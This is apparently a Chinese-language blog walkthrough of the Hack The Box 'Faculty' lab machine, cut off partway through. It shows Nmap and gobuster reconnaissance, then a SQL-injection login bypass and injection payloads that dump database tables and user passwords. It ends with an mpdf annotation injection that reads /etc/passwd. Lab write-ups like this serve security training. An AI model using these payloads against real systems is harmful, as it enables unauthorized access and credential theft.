Hack The Box - Faculty 利用mpdf代码注入漏洞获取ssh登录密码，meta-git远程命令执行漏洞横向提权，gdb附加root进程纵向提权

本文链接：https://blog.csdn.net/weixin_42587307/article/details/127902770

本文通过Nmap扫描、SQL注入、mpdf代码注入等技术手段，逐步攻破HackTheBox平台上的Faculty靶机，最终实现从普通用户提权至root的过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Hack The Box-Faculty

在这里插入图片描述

Hack The Box开始使用流程看这篇

文章目录

Hack The Box-Faculty

整体思路

1.Nmap扫描

通过nmap扫描结果发现，当前靶机开启了22和80端口

在这里插入图片描述

继续进一步扫描已开启端口的详细信息，这里给出80端口会重定向到一个新的域名，我们将这个域名添加到hosts中

在这里插入图片描述

2.Sql注入登录

顺利访问网站登录界面，尝试使用万能密码**1’ or 1=1 – -**登录

在这里插入图片描述

以Smith, John C身份登入，这个页面比较简单，没有发现什么可利用的地方

在这里插入图片描述

3.gobuster网站目录枚举

使用工具gobuster枚举网站目录，得到/admin

在这里插入图片描述

尝试访问一下，这里直接以Smith, John C身份进入admin后台界面

在这里插入图片描述

下一步我们可以选择通过SQL注入的方法得到管理员的密码，但是这种步骤比较繁琐，我们先尝试使用万能密码登录/admin/login.php进入管理员后台，现在可以看出这个靶场几乎没有什么身份验证措施。

在这里插入图片描述

想了想还是拿一下管理员密码吧，以备不时之需，这里试了一下，Course和Description部分是可以进行Sql注入的

在这里插入图片描述

4.Sql注入获取管理员信息

Sql注入payload:good luck’,description=(select group_concat(schema_name) from INFORMATION_SCHEMA.SCHEMATA) where id=1-- -

在这里插入图片描述

顺利得到数据库信息

在这里插入图片描述

接下来继续编写获取数据表和用户信息的payload

获取数据表：good luck’,description=(select group_concat(TABLE_NAME,“:”,COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA = ‘scheduling_db’) where id=1-- -，用户表 users，用户名 username，密码 password，这里内容太多不方便截图，我就直接全部复制下来了

Course: good luck

Description: class_schedule_info:id,class_schedule_info:schedule_id,class_schedule_info:course_id,class_schedule_info:subject,courses:id,courses:course,courses:description,faculty:id,faculty:id_no,faculty:firstname,faculty:middlename,faculty:lastname,faculty:contact,faculty:gender,faculty:address,faculty:email,schedules:id,schedules:faculty_id,schedules:title,schedules:schedule_type,schedules:description,schedules:location,schedules:is_repeating,schedules:repeating_data,schedules:schedule_date,schedules:time_from,schedules:time_to,schedules:date_created,subjects:id,subjects:subject,subjects:description,users:id,users:name,users:username,users:password,users:type

获取用户信息：good luck’,description=(select group_concat(username,“:”,password) from users) where id=1-- -,顺利得到admin的密码:

在这里插入图片描述

5.mpdf代码注入漏洞利用

接下来再找找其他的利用点，右上角有一个下载pdf的按钮，尝试用burpsuite测试一下

在这里插入图片描述

这是最初下载的pdf文件

在这里插入图片描述

使用cyberchef工具对pdf字符串进行base64解码得到一串url编码字符，再进行两次url解码得到html格式的字符串

在这里插入图片描述

这里想到可以自己做一个pdf文件，利用当前页面可能存在的漏洞构造反弹shell或者执行其他操作。我们可以搜索一下地址栏出现的mpdf是否存在漏洞

在这里插入图片描述

在mpdf的github库中搜索安全问题，得到一个可能存在的漏洞，尝试构造这样的pdf**< annotation file=“/etc/passwd” content=“/etc/passwd” icon=“Graph” title=“Attached File: /etc/passwd” pos-x=“195” />**，我们可能得到passwd文件信息

在这里插入图片描述